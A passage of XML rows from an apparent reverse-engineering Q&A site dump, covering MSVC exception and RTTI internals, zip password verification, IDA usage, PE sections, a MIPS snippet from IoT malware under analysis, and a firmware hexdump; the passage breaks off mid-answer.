  <row Id="24802" PostTypeId="2" ParentId="24800" CreationDate="2020-04-23T08:27:26.373" Score="0" Body="&lt;p&gt;&lt;code&gt;CALL&lt;/code&gt;s and &lt;code&gt;JMP&lt;/code&gt; (&lt;code&gt;Jxx&lt;/code&gt;) are relative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your first code block the &quot;jumper&quot; code jumps forward &lt;em&gt;0e&lt;/em&gt; bytes, which is &quot;0e 00 00 00&quot; in little endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your second code, &quot;jumper&quot; appears &lt;em&gt;after&lt;/em&gt; &quot;shellcode&quot;, so the &lt;code&gt;CALL&lt;/code&gt; backwards is a negative int, and results in your case in &quot;df ff ff ff&quot;.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-04-23T08:27:26.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24803" PostTypeId="1" CreationDate="2020-04-20T06:44:02.620" Score="2" ViewCount="110" Body="&lt;p&gt;I am studying the way that can be used to check if a given password for an encrypted zip file is correct or not. I see this link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/199545/how-does-a-zip-file-detect-a-correct-password&quot;&gt;How does a zip file detect a correct password?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the answer of this question, it said CRC is used to check if a password is correct. It also paste a code snippet from Info-zip to prove this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after carefully studying the Info-zip source code, as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ((ush)(c | (b&amp;lt;&amp;lt;8)) != (GLOBAL(pInfo-&amp;gt;ExtLocHdr) ?&#xA;                           ((ush)GLOBAL(lrec.last_mod_dos_datetime) &amp;amp; 0xffff) :&#xA;                           (ush)(GLOBAL(lrec.crc32) &amp;gt;&amp;gt; 16)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I find when there is ExtLocHdr in the zip item, the lower 2 bytes of last_mod_dos_datetime, instead of the CRC, will be used to verify the password. But this is not mentioned in the file format specification in &lt;a href=&quot;https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT&lt;/a&gt; at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;" OwnerUserId="32931" OwnerDisplayName="alancc" LastEditorUserId="32931" LastEditDate="2020-04-23T09:36:37.570" LastActivityDate="2020-04-25T04:37:51.060" Title="Which value is used for verifiying Zip password?" Tags="|encryption|crc|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24804" PostTypeId="1" CreationDate="2020-04-23T15:16:01.593" Score="2" ViewCount="177" Body="&lt;p&gt;First of here is the article from which I'm looking up the &lt;a href=&quot;http://www.openrce.org/articles/full_view/21&quot; rel=&quot;nofollow noreferrer&quot;&gt;fields&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying out different combinations to see how they affect the RTTI for a C++ throw. It seems that having a virtual base class changes the two fields below &lt;code&gt;mdisp&lt;/code&gt; but I wasn't able to change the actual &lt;code&gt;mdisp&lt;/code&gt; field here is what I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct B {&#xA;    int a, b;&#xA;};&#xA;&#xA;struct A : virtual B {&#xA;    int b, c;&#xA;};&#xA;int main() {&#xA;&#xA;    struct A* tmp = 0;&#xA;&#xA;    throw tmp;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above will change the catchabletypes of &lt;code&gt;struct A *&lt;/code&gt; and &lt;code&gt;struct B *&lt;/code&gt; to have different values for &lt;code&gt;pdisp&lt;/code&gt; and &lt;code&gt;vdisp&lt;/code&gt; because of the virtual base class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried pointer to members but with the no luck of changing the field as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct A::* tmp = &amp;amp;A::c;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assumed that the above will cause the field for the type to change because there is an offset for the fields of A relative to B. I also tried removing the virtual specifier for the inheritance in this particular case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the dissasembly looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    offset __TI3PAUA@@ ; throw info for 'struct A *'&#xA;lea     ecx, [ebp+var_8]&#xA;push    ecx&#xA;call    sub_401BB4&#xA;&#xA;.rdata:004130C0 __TI3PAUA@@     dd 0                    ; DATA XREF: _main+13↑o&#xA;.rdata:004130C0                                         ; attributes&#xA;.rdata:004130C4                 dd 0                    ; destructor of exception object&#xA;.rdata:004130C8                 dd 0                    ; forward compatibility frame handler&#xA;.rdata:004130CC                 dd offset __CTA3PAUA@@  ; address of catchable types array&#xA;.rdata:004130D0 __CTA3PAUA@@    dd 3                    ; DATA XREF: .rdata:004130CC↑o&#xA;.rdata:004130D0                                         ; count of catchable type addresses following&#xA;.rdata:004130D4                 dd offset __CT??_R0PAUA@@@8 ; catchable type 'struct A *'&#xA;.rdata:004130D8                 dd offset __CT??_R0PAUB@@@8 ; catchable type 'struct B *'&#xA;.rdata:004130DC                 dd offset __CT??_R0PAX@8 ; catchable type 'void *'&#xA;.rdata:004130E0 __CT??_R0PAUA@@@8 dd CT_IsSimpleType or CT_HasVirtualBase&#xA;.rdata:004130E0                                         ; DATA XREF: .rdata:004130D4↑o&#xA;.rdata:004130E0                                         ; attributes&#xA;.rdata:004130E4                 dd offset ??_R0PAUA@@@8 ; A * `RTTI Type Descriptor'&#xA;.rdata:004130E8                 dd 0                    ; mdisp&#xA;.rdata:004130EC                 dd -1                   ; pdisp&#xA;.rdata:004130F0                 dd 0                    ; vdisp&#xA;.rdata:004130F4                 dd 4                    ; size of thrown object&#xA;.rdata:004130F8                 dd 0                    ; reference to optional copy constructor&#xA;.rdata:004130FC __CT??_R0PAUB@@@8 dd CT_IsSimpleType    ; DATA XREF: .rdata:004130D8↑o&#xA;.rdata:004130FC                                         ; attributes&#xA;.rdata:00413100                 dd offset ??_R0PAUB@@@8 ; B * `RTTI Type Descriptor'&#xA;.rdata:00413104                 dd 0                    ; mdisp&#xA;.rdata:00413108                 dd 0                    ; pdisp&#xA;.rdata:0041310C                 dd 4                    ; vdisp&#xA;.rdata:00413110                 dd 4                    ; size of thrown object&#xA;.rdata:00413114                 dd 0                    ; reference to optional copy constructor&#xA;.rdata:00413118 __CT??_R0PAX@8  dd CT_IsSimpleType      ; DATA XREF: .rdata:004130DC↑o&#xA;.rdata:00413118                                         ; attributes&#xA;.rdata:0041311C                 dd offset ??_R0PAX@8    ; void * `RTTI Type Descriptor'&#xA;.rdata:00413120                 dd 0                    ; mdisp&#xA;.rdata:00413124                 dd -1                   ; pdisp&#xA;.rdata:00413128                 dd 0                    ; vdisp&#xA;.rdata:0041312C                 dd 4                    ; size of thrown object&#xA;.rdata:00413130                 dd 0                    ; reference to optional copy constructor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14334" LastActivityDate="2021-05-19T02:06:10.723" Title="What is the mdisp field in RTTI for throw used for?" Tags="|disassembly|windows|x86|c++|msvc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24810" PostTypeId="2" ParentId="24804" CreationDate="2020-04-23T23:43:31.503" Score="2" Body="&lt;p&gt;It seems that inheritance does it. If we do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;struct B {&#xA;    int a, b;&#xA;};&#xA;&#xA;struct B1 {&#xA;    B1() = default;&#xA;    B1(const B1&amp;amp; tmp) {&#xA;        a1 = tmp.a1;&#xA;        printf(&quot;B1::B1 copy constr\n&quot;);&#xA;    }&#xA;    int a1, b1;&#xA;};&#xA;&#xA;struct A : B, B1 {&#xA;    int b, c;&#xA;};&#xA;&#xA;int main() try {&#xA;&#xA;    struct A tmp;&#xA;&#xA;    tmp.a1 = 9;&#xA;&#xA;    throw tmp;&#xA;}&#xA;catch (B1 tmp) {&#xA;    printf(&quot;%d\n&quot;, tmp.a1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We got RTTI for the throw of &lt;code&gt;struct A&lt;/code&gt; containing an entry of &lt;code&gt;struct B1&lt;/code&gt; with the following info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:00419D8C __CT??_R0?AUB1@@@8_401150 dd 0          ; DATA XREF: .rdata:00419D50↑o&#xA;.rdata:00419D8C                                         ; attributes&#xA;.rdata:00419D90                 dd offset ??_R0?AUB1@@@8 ; B1 `RTTI Type Descriptor'&#xA;.rdata:00419D94                 dd 8                    ; mdisp&#xA;.rdata:00419D98                 dd -1                   ; pdisp&#xA;.rdata:00419D9C                 dd 0                    ; vdisp&#xA;.rdata:00419DA0                 dd 8                    ; size of thrown object&#xA;.rdata:00419DA4                 dd offset sub_401150    ; reference to optional copy constructo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14334" LastActivityDate="2020-04-23T23:43:31.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24811" PostTypeId="1" CreationDate="2020-04-23T23:46:18.297" Score="2" ViewCount="402" Body="&lt;p&gt;I'm looking at &lt;code&gt;UnwindMapEntry&lt;/code&gt;. Here is it's declaration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// UnwindMapEntry - Description of each state transition for unwinding&#xA;//  the stack (i.e. calling destructors).&#xA;//&#xA;// The unwind map is an array, indexed by current state.  Each entry specifies&#xA;// the state to go to during unwind, and the action required to get there.&#xA;// Note that states are represented by a signed integer, and that the 'blank'&#xA;// state is -1 so that the array remains 0-based (because by definition there&#xA;// is never any unwind action to be performed from state -1).  It is also&#xA;// assumed that state indices will be dense, i.e. that there will be no gaps of&#xA;// unused state indices in a function.&#xA;//&#xA;&#xA;typedef const struct _s_UnwindMapEntry {&#xA;    __ehstate_t toState;                    // State this action takes us to&#xA;#if _EH_RELATIVE_FUNCINFO&#xA;    int         action;                     // Image relative offset of funclet&#xA;#else&#xA;    void        (__cdecl * action)(void);   // Funclet to call to effect state change&#xA;#endif&#xA;} UnwindMapEntry;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry if it's obvious for you but what does toState means? It is not clear for me by reading the description above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is this structure for a tryblockmaprntry which is also involved somehow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// HandlerMapEntry - associates a handler list (sequence of catches) with a&#xA;//  range of eh-states.&#xA;//&#xA;typedef const struct _s_TryBlockMapEntry {&#xA;    __ehstate_t     tryLow;             // Lowest state index of try&#xA;    __ehstate_t     tryHigh;            // Highest state index of try&#xA;    __ehstate_t     catchHigh;          // Highest state index of any associated catch&#xA;    //....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's &lt;code&gt;catchHigh&lt;/code&gt; - is it always &lt;code&gt;tryHigh + 1&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK It seems the &lt;code&gt;catchHigh&lt;/code&gt; is continuing the state inside the catch block - because you can have exception there too. But still I don't see it's purpose - like when this field makes any difference.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2020-05-03T15:04:28.930" LastActivityDate="2020-05-03T15:04:28.930" Title="What does state mean in unwinding?" Tags="|x86|seh|msvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24812" PostTypeId="2" ParentId="21453" CreationDate="2020-04-24T09:19:39.743" Score="5" Body="&lt;p&gt;It seems IDA recognizes _NT_SYMBOL_PATH so all you only need to is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start -&gt; RUN -&gt; RUNDLL32 sysdm.cpl,EditEnvironmentVariables&lt;/li&gt;&#xA;&lt;li&gt;Under &quot;System variables&quot;, add an entry named &quot;_NT_SYMBOL_PATH&quot; and set its value like SRV*\C:\Symbols*&lt;a href=&quot;http://msdl.microsoft.com/download/symbols&quot; rel=&quot;noreferrer&quot;&gt;http://msdl.microsoft.com/download/symbols&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;The next time you launch IDA, it should tell you when to load MS symbols from the symbols store.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;PS: you may need to install VC Redistribute libraries if IDA prompts an error.&lt;/p&gt;&#xA;" OwnerUserId="32942" LastActivityDate="2020-04-24T09:19:39.743" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24813" PostTypeId="2" ParentId="24811" CreationDate="2020-04-24T09:39:35.067" Score="4" Body="&lt;p&gt;the &lt;em&gt;__ehstate_t&lt;/em&gt; type is defined as &lt;em&gt;int&lt;/em&gt;. &lt;em&gt;toState&lt;/em&gt; is the index of the next handler in the array that needs to be unwind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Action&lt;/em&gt; is the operation that needs to be done in order to reach the next state (the value of &lt;em&gt;toState&lt;/em&gt;). This happens until &lt;em&gt;toState&lt;/em&gt; reaches -1, which is the &quot;blank&quot; state that ends the unwinding process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The state is incremented by one every time you enter a try block or otherwise create an object that must be destructed in the unwinding process if an exception is thrown before the program called its destructor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say there is a function &lt;code&gt;int F1(){}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the beginning of the function, the &lt;em&gt;state&lt;/em&gt; for the current scope is -1 as there are no actions to take if an exception occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhere after the beginning of F1 an object of type ClassA is created. This calls the constructor &lt;code&gt;ClassA::ClassA()&lt;/code&gt;. At this point if an exception is thrown, there is a ClassA object that needs to be deleted before the &lt;code&gt;catch&lt;/code&gt; block is called. The initialization of the object incremented the &lt;em&gt;state&lt;/em&gt; to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now comes a &lt;code&gt;try&lt;/code&gt; block - the state is now 1. Should an exception be thrown here, the handler will have to leave the &lt;code&gt;try&lt;/code&gt; block (state-&gt;0) and call &lt;code&gt;ClassA::~ClassA()&lt;/code&gt; on the object that was created before (state-&gt;-1). If the execution reaches the end of the &lt;code&gt;try&lt;/code&gt; block an no exception occurred, the state is decremented (state-&gt;0 again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;tryLow&lt;/em&gt; is the target outmost state that a handler must get to before it calls the &lt;code&gt;catch&lt;/code&gt; block. In our example, when entering the &lt;code&gt;try&lt;/code&gt; block (state = 1), the &lt;em&gt;tryLow&lt;/em&gt; value will be -1. The handler will have to get to state -1, that is, leaving the &lt;code&gt;try&lt;/code&gt; block &lt;em&gt;and&lt;/em&gt; calling &lt;code&gt;ClassA::~ClassA()&lt;/code&gt; and only then call the &lt;code&gt;catch&lt;/code&gt; block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reverse engineering purposes, there is a great post at OpenRCE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.openrce.org/articles/full_view/21&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openrce.org/articles/full_view/21&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-04-24T15:15:47.697" LastActivityDate="2020-04-24T15:15:47.697" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24816" PostTypeId="2" ParentId="6941" CreationDate="2020-04-24T13:13:27.683" Score="0" Body="&lt;p&gt;Okay so basically, it's convenient to have as few sections as possible because each section must start on a new physical page, so you could waste a few KiB of physical memory here and there. Also, it takes up more kernel memory with more subsection objects required and more subsections to set up means more code to execute so the load time will be marginally longer. The import table &lt;strong&gt;must&lt;/strong&gt; be in a read only section but doesn't need to be in a section of its own because it's accessed using a pointer in the PE header. It needs to be read only because otherwise the user code could modify the IAT and hijack calls to gadgets in the code or injected dlls. As for the loader, it needs to modify the IAT itself. This means it momentarily needs to change the PTEs from read only to COW, write to it which causes new physical pages to be allocated as read/write, and once its done, write protect those allocated pages and hence the PTEs. Similarly, .pdata is sometimes its own section, but it does not need to be and can be included in any read only section, so long as the exception directory RVA is in the optional PE header.&lt;/p&gt;&#xA;" OwnerUserId="32847" LastEditorUserId="32847" LastEditDate="2021-02-12T11:36:53.537" LastActivityDate="2021-02-12T11:36:53.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24817" PostTypeId="1" CreationDate="2020-04-24T15:34:12.647" Score="1" ViewCount="87" Body="&lt;p&gt;Is it possible to produce recompilable &lt;code&gt;C&lt;/code&gt; code using IDA pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can export binary into &lt;code&gt;C&lt;/code&gt; pseudocode using &quot;produce file&quot; feature. But, the code is not recompilable. First, &lt;code&gt;defs.h&lt;/code&gt; file is not present (I don't know if this comes with my ida pro license). I assume this file has all the typedefs, etc. I can use something like &lt;a href=&quot;https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;defs.h&lt;/a&gt;. Then I can fix definitions by removing or replacing &quot;__fastcall&quot; and &quot;__noreturn&quot; (I just added &lt;code&gt;#define __fastcall&lt;/code&gt; to ignore this) (I don't if any other replacements required). And remove functions like &lt;code&gt;_gmon_start__&lt;/code&gt;, etc. Then I can include required libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to all automate this (or is there an elegant way to do this)?&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-04-24T15:34:12.647" Title="Ida pro: recompilable c code" Tags="|ida|" AnswerCount="0" CommentCount="6" ClosedDate="2020-04-25T13:11:34.593" ContentLicense="CC BY-SA 4.0" />
  <row Id="24818" PostTypeId="1" CreationDate="2020-04-24T18:57:21.910" Score="1" ViewCount="320" Body="&lt;p&gt;Topic is C++ exceptions internal representation in WIndows x86 binaries compiled with msvc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a code that straight up doesn't have nothing (all fields of &lt;code&gt;FuncInfo&lt;/code&gt; zero) except the &lt;code&gt;EHFlags&lt;/code&gt; set to 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the dissasembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00407010 ; Attributes: bp-based frame&#xA;.text:00407010&#xA;.text:00407010 ; int __cdecl std::_Deallocate&amp;lt;8,0&amp;gt;(void *block, unsigned int __formal)&#xA;.text:00407010 ??$_Deallocate@$07$0A@@std@@YAXPAXI@Z proc near&#xA;.text:00407010                                         ; CODE XREF: std::_Deallocate&amp;lt;8,0&amp;gt;(void *,uint)↑j&#xA;.text:00407010&#xA;.text:00407010 var_C           = dword ptr -0Ch&#xA;.text:00407010 block           = dword ptr  8&#xA;.text:00407010 __formal        = dword ptr  0Ch&#xA;.text:00407010&#xA;.text:00407010 ; FUNCTION CHUNK AT .text:00458370 SIZE 0000001B BYTES&#xA;.text:00407010&#xA;.text:00407010 ; __unwind { // ??$_Deallocate@$07$0A@@std@@YAXPAXI@Z_SEH&#xA;.text:00407010                 push    ebp&#xA;.text:00407011                 mov     ebp, esp&#xA;.text:00407013                 push    0FFFFFFFFh&#xA;.text:00407015                 push    offset ??$_Deallocate@$07$0A@@std@@YAXPAXI@Z_SEH&#xA;.text:0040701A                 mov     eax, large fs:0&#xA;.text:00407020                 push    eax&#xA;.text:00407021                 mov     eax, ___security_cookie&#xA;.text:00407026                 xor     eax, ebp&#xA;.text:00407028                 push    eax&#xA;.text:00407029                 lea     eax, [ebp+var_C]&#xA;.text:0040702C                 mov     large fs:0, eax&#xA;.text:00407032                 cmp     [ebp+__formal], 1000h&#xA;.text:00407039                 jb      short loc_40704B&#xA;.text:0040703B                 lea     eax, [ebp+__formal]&#xA;.text:0040703E                 push    eax             ; unsigned int *&#xA;.text:0040703F                 lea     ecx, [ebp+block]&#xA;.text:00407042                 push    ecx             ; void **&#xA;.text:00407043                 call    j_?_Adjust_manually_vector_aligned@std@@YAXAAPAXAAI@Z ; std::_Adjust_manually_vector_aligned(void * &amp;amp;,uint &amp;amp;)&#xA;.text:00407048                 add     esp, 8&#xA;.text:0040704B&#xA;.text:0040704B loc_40704B:                             ; CODE XREF: std::_Deallocate&amp;lt;8,0&amp;gt;(void *,uint)+29↑j&#xA;.text:0040704B                 mov     edx, [ebp+__formal]&#xA;.text:0040704E                 push    edx             ; __formal&#xA;.text:0040704F                 mov     eax, [ebp+block]&#xA;.text:00407052                 push    eax             ; block&#xA;.text:00407053                 call    j_??3@YAXPAXI@Z ; operator delete(void *,uint)&#xA;.text:00407058                 add     esp, 8&#xA;.text:0040705B                 mov     ecx, [ebp+var_C]&#xA;.text:0040705E                 mov     large fs:0, ecx&#xA;.text:00407065                 pop     ecx&#xA;.text:00407066                 mov     esp, ebp&#xA;.text:00407068                 pop     ebp&#xA;.text:00407069                 retn&#xA;.text:00407069 ; } // starts at 407010&#xA;.text:00407069 ??$_Deallocate@$07$0A@@std@@YAXPAXI@Z endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the &lt;code&gt;FuncInfo&lt;/code&gt; data is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FuncInfo &amp;lt;19930522h, 0, 0, 0, 0, 0, 0, 0, 5&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code snippet straight up from CRT source files(xmemory):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//template &amp;lt;size_t _Align&amp;gt;&#xA;void _Deallocate(void* _Ptr, size_t _Bytes) noexcept {&#xA;    // deallocate storage allocated by _Allocate when !_HAS_ALIGNED_NEW || _Align &amp;lt;= __STDCPP_DEFAULT_NEW_ALIGNMENT__&#xA;#if defined(_M_IX86) || defined(_M_X64)&#xA;    if (_Bytes &amp;gt;= std::_Big_allocation_threshold) { // boost the alignment of big allocations to help autovectorization&#xA;        std::_Adjust_manually_vector_aligned(_Ptr, _Bytes);&#xA;    }&#xA;#endif // defined(_M_IX86) || defined(_M_X64)&#xA;&#xA;    ::operator delete(_Ptr, _Bytes);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried tinkering with it  and I found that that the main cause for the weird FuncInfo in that case is the call to &lt;code&gt;std::_Adjust_manually_vector_aligned&lt;/code&gt; which is defined in the same file as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// FUNCTION TEMPLATE _Adjust_manually_vector_aligned&#xA;inline void _Adjust_manually_vector_aligned(void*&amp;amp; _Ptr, size_t&amp;amp; _Bytes) {&#xA;    // adjust parameters from _Allocate_manually_vector_aligned to pass to operator delete&#xA;    _Bytes += _Non_user_size;&#xA;&#xA;    const uintptr_t* const _Ptr_user = reinterpret_cast&amp;lt;uintptr_t*&amp;gt;(_Ptr);&#xA;    const uintptr_t _Ptr_container   = _Ptr_user[-1];&#xA;&#xA;    // If the following asserts, it likely means that we are performing&#xA;    // an aligned delete on memory coming from an unaligned allocation.&#xA;    _STL_ASSERT(_Ptr_user[-2] == _Big_allocation_sentinel, &quot;invalid argument&quot;);&#xA;&#xA;    // Extra paranoia on aligned allocation/deallocation; ensure _Ptr_container is&#xA;    // in range [_Min_back_shift, _Non_user_size]&#xA;#ifdef _DEBUG&#xA;    constexpr uintptr_t _Min_back_shift = 2 * sizeof(void*);&#xA;#else // ^^^ _DEBUG ^^^ // vvv !_DEBUG vvv&#xA;    constexpr uintptr_t _Min_back_shift = sizeof(void*);&#xA;#endif // _DEBUG&#xA;    const uintptr_t _Back_shift = reinterpret_cast&amp;lt;uintptr_t&amp;gt;(_Ptr) - _Ptr_container;&#xA;    _STL_VERIFY(_Back_shift &amp;gt;= _Min_back_shift &amp;amp;&amp;amp; _Back_shift &amp;lt;= _Non_user_size, &quot;invalid argument&quot;);&#xA;    _Ptr = reinterpret_cast&amp;lt;void*&amp;gt;(_Ptr_container);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is far as I went into this.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2020-04-25T14:50:15.187" LastActivityDate="2020-06-03T12:00:35.167" Title="What code produces FuncInfoV1 with zero TryBlocks and zero UnwindMap?" Tags="|x86|decompilation|seh|msvc|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24820" PostTypeId="1" CreationDate="2020-04-25T04:05:12.353" Score="0" ViewCount="155" Body="&lt;p&gt;Recently I have been trying to reverse engineer an IoT malware called NyaDrop using IDA. There I came across this mysterious assignment a few times.&#xA;&lt;code&gt;addiu   $zero, 0xA&lt;/code&gt;&#xA;as well as  &lt;code&gt;move    $at, $at&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both instructions seem to be just redundant but I feel like they are there for a reason. Does anyone have any idea what that reason is? My guess is that is trying to avoid an emulated MIPS perhaps? Because it would error on an emulated MIPS but will just be discarded in a real one. Not sure, however. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snippet from the disassembly of nyaDrop that is particularly confusing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addiu   $zero, 0xA&#xA;move    $at, $at&#xA;move    $at, $at&#xA;//end of malware&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31166" LastActivityDate="2020-04-26T07:46:04.500" Title="Malware attempting to move a value into $zero in MIPS?" Tags="|ida|disassembly|malware|mips|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24821" PostTypeId="2" ParentId="24792" CreationDate="2020-04-25T07:26:57.987" Score="0" Body="&lt;p&gt;The first thing I'd do is look at a hexdump. The manufacturer provides firmware updates and specifically I've looked at the file ES08_040.SYS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This clear shows some very readable text scattered throughout the file. Here's some examples -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00010e10:   00 02 01 02 02 02 03 02 01 01 00 00 01 01 01 01 ................&#xA;00010e20:   01 00 00 00 20 20 20 4b 41 57 41 49 20 20 45 53 ....   KAWAI  ES&#xA;00010e30:   38 20 20 20 20 44 69 67 69 74 61 6c 20 50 69 61 8    Digital Pia&#xA;00010e40:   6e 6f 20 20 44 65 73 74 3a 20 56 65 72 23 20 3a no  Dest: Ver# :&#xA;00010e50:   20 43 53 20 00 00 00 00 20 20 20 20 20 20 20 20  CS ....        &#xA;00010e60:   20 20 20 20 20 20 20 20 00 00 00 00 ff ff ff ff         ........&#xA;&#xA;000540f0:   30 00 00 00 00 00 00 00 52 49 46 46 00 00 00 00 0.......RIFF....&#xA;00054100:   57 41 56 45 66 6d 74 20 10 00 00 00 01 00 02 00 WAVEfmt ........&#xA;00054110:   44 ac 00 00 10 b1 02 00 04 00 10 00 64 61 74 61 D...........data&#xA;00054120:   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&#xA;&#xA;0006aca0:   31 20 54 6f 75 63 68 20 43 75 72 76 65 20 32 2d 1 Touch Curve 2-&#xA;0006acb0:   31 20 c0 af c1 b6 b0 cc de 20 20 20 20 20 32 2d 1 .......     2-&#xA;0006acc0:   32 20 56 6f 69 63 69 6e 67 20 20 20 20 20 32 2d 2 Voicing     2-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These strongly suggest that the firmware update file is not encrypted or compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most useful though is here -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00001530:   43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 Copyright (C) 20&#xA;00001540:   30 30 20 28 32 30 30 38 29 20 52 65 6e 65 73 61 00 (2008) Renesa&#xA;00001550:   73 20 54 65 63 68 6e 6f 6c 6f 67 79 20 43 6f 72 s Technology Cor&#xA;00001560:   70 2e 20 61 6e 64 20 52 65 6e 65 73 61 73 20 53 p. and Renesas S&#xA;00001570:   6f 6c 75 74 69 6f 6e 73 20 43 6f 72 70 2e 20 41 olutions Corp. A&#xA;00001580:   6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 ll rights reserv&#xA;00001590:   65 64 2e 48 49 37 30 30 30 2f 34 28 52 30 52 34 ed.HI7000/4(R0R4&#xA;000015a0:   30 37 30 30 54 78 57 30 32 78 29 56 2e 32 2e 30 0700TxW02x)V.2.0&#xA;000015b0:   32 2e 30 34 dd 0d 30 d1 60 62 20 f6 6f 03 d0 0c 2.04..0.`b .o...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Google suggest that this is an RTOS for SuperH 